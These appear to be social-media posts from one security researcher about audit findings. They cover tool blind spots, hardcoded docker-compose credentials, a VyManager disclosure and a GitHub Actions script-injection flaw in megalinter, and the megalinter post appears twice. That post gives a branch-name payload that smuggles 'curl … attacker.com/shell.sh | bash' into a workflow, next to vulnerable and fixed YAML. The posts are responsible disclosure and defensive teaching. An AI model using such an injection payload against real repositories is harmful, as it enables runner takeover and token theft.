u/Madamin_Z

SAST clean. DAST clean. SCA clean. Phishing simulation — 99% pass rate. Then the breach happened anyway. The problem isn't that tools fail. It's that each tool is accurate inside its own domain and blind the moment you step outside it. SAST doesn't see what SCA sees. Neither sees configuration drift. And none of them correlate findings across layers. Three separate findings — medium input validation issue, low outdated parsing library, low information leak in error responses — each accepted by a separate analyst. Individually: noise. Combined: a complete exploit chain. The Blue Shield of California breach in April 2025 is a clean example of the other blind spot: no vulnerability, no exploit. A single analytics configuration quietly sent protected health information for 4.7 million people to an ad platform for almost three years. None of the standard tools were positioned to catch it because none of them treat configuration as part of the attack surface. Made a short video breaking down both gaps — the human side (trust laundering via training) and the technical side (dead zones between tools). Curious whether others are seeing this inter-tool correlation problem in practice — and how teams are handling it.

Here's a real example of how development secrets make it to production. Auditing an open source project — mid-size repo, actively maintained, real company behind it. The docker-compose.yml ships with 10 hardcoded credentials across 5 services:

• Admin password: secret
• Session secret: random
• S3 access key: admin / secret: secretsecret
• PostgreSQL password: secret
• MinIO root password: secretsecret

The README documents secret as the default admin password under "Getting Started." No warning to change it before deployment. No .env.example. No SECURITY.md. NODE_ENV: dev set in the same file. Intended for production use. The credentials alone get you in. A second finding compounds it: user-controlled input reaches a raw HTML render without sanitization in the audit log component — stored XSS as a second vector. Two findings, one deploy, full chain. The pattern is consistent across projects. Credentials written for local dev, never rotated, shipped as-is. Everyone assumes someone else caught it before it went live.

---

How does your team handle secrets before docker-compose goes anywhere near a server?

---

Audited VyManager (Community-VyProjects/VyManager) — an open-source SDN controller built on VyOS. Two verified findings, both manually confirmed.

Finding 1 — Hardcoded credential in frontend/prisma/seed.ts:57

A VyOS API key committed directly in the seed file. The developer left a comment: "This is actually the API key". The key is now permanently in git history — rotating it in the current codebase doesn't remove it from every clone made before the fix.

Finding 2 — Plaintext FTP in backend/utils/archive_url.py:194,217

ftplib.FTP() with no encryption. Credentials transmitted in cleartext. In an SDN controller managing network devices, passive sniffing on the same network segment is a realistic attack vector — not theoretical.

Disclosed responsibly via GitHub Issue #262. Maintainer assigned and labeled it within hours.

The FTP finding is the more interesting one to me. ftplib shows up in a lot of Python codebases that started as internal tools and quietly became production systems. The fix is straightforward — paramiko for SFTP — but it rarely gets prioritized until someone points it out.

Anyone else seeing legacy FTP/Telnet patterns surviving in infrastructure-adjacent Python code?

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

# Vulnerable
run: |
  GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \
    && echo "${{ github.head_ref }}" \
    || echo "${{ github.ref_name }}")

# Safe
env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  GITHUB_BRANCH="$HEAD_REF"

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657

Note: impact is limited to the fork's own GITHUB_TOKEN in fork-based PR scenarios.

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

# Vulnerable
run: |
  GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \
    && echo "${{ github.head_ref }}" \
    || echo "${{ github.ref_name }}")

# Safe
env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  GITHUB_BRANCH="$HEAD_REF"

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657